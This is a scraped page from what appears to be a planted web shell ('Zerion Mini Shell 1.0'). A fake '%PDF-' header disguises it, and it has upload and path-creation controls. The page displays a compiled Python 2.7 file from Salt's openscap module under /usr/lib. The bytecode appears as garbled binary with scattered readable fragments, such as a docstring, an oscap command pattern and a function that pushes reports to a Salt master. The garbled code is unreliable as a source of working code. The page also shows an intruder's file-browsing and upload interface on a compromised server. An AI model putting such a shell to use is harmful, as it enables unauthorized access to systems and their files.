%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/openscap.pyc

�
���^c@@sdZddlmZmZmZddlZddlZddlZddlm	Z	m
Z
ddlmZe
ZyddlZejZeZWnek
r�eZnXiidied6fgd6d	d
6d6Zd�Zd
efd��YZied6ed6ed6Zd�ZdS(u!
Module for OpenSCAP Management

i(tabsolute_importtprint_functiontunicode_literalsN(tPopentPIPE(tsixu	--profileurequireduparser_argumentsu\oscap xccdf eval --oval-results --results results.xml --report report.html --profile {0} {1}ucmd_patternuevalcC@s
tdfS(Nuargparse module is required.(tHAS_ARGPARSE(((s9/usr/lib/python2.7/site-packages/salt/modules/openscap.pyt__virtual__*st_ArgumentParsercB@seZdd�Zd�ZRS(cO@sntt|�jdd||�|jdddg�d}x,tddD]\}}|j||�qJWdS(Ntproguoscapuactiontchoicesuevaluparser_arguments(tsuperRt__init__tadd_argumenttNonet
_XCCDF_MAP(tselftactiontargstkwargstadd_argtparamstkwparams((s9/usr/lib/python2.7/site-packages/salt/modules/openscap.pyR0s
cO@st|��dS(N(t	Exception(RtmessageRR((s9/usr/lib/python2.7/site-packages/salt/modules/openscap.pyterror7sN(t__name__t
__module__RRR(((s9/usr/lib/python2.7/site-packages/salt/modules/openscap.pyR.siic	C@svtj|�}|d}t}d}d}d}d}yDt�}|j|�dj}td|�jd|�\}}	Wn(tk
r�}
t}t	j
|
�}nX|rWt|dj|j
|�}tj�}ttj|�dtdtd|�}
|
j�\}}t|
j}|
j}|rWtd	|�tj|d
t�|}qWntd|d|d
|d|�S(u�
    Run ``oscap xccdf`` commands on minions.
    It uses cp.push_dir to upload the generated files to the salt master
    in the master's minion files cachedir
    (defaults to ``/var/cache/salt/master/minions/minion-id/files``)

    It needs ``file_recv`` set to ``True`` in the master configuration file.

    CLI Example:

    .. code-block:: bash

        salt '*'  openscap.xccdf "eval --profile Default /usr/share/openscap/scap-yast2sec-xccdf.xml"
    i����iRRucmd_patterntstdouttstderrtcwducp.push_dirt
ignore_errorstsuccesst
upload_dirRt
returncodeN(tshlextsplittTrueRRtparse_known_argsRRtFalseRt	text_typeRtformattprofilettempfiletmkdtempRRtcommunicatet_OSCAP_EXIT_CODES_MAPR"t__salt__tshutiltrmtreetdict(RtpolicyR RR!RR"tparserRtargvterrtcmdttempdirtproct
stdoutdata((s9/usr/lib/python2.7/site-packages/salt/modules/openscap.pytxccdfBs>
	%$
	(u	--profile(t__doc__t
__future__RRRR+R#R0t
subprocessRRtsalt.extRtobjecttArgumentParsertargparseR%RtImportErrorR'RRRR.R;(((s9/usr/lib/python2.7/site-packages/salt/modules/openscap.pyt<module>s0	


	



Zerion Mini Shell 1.0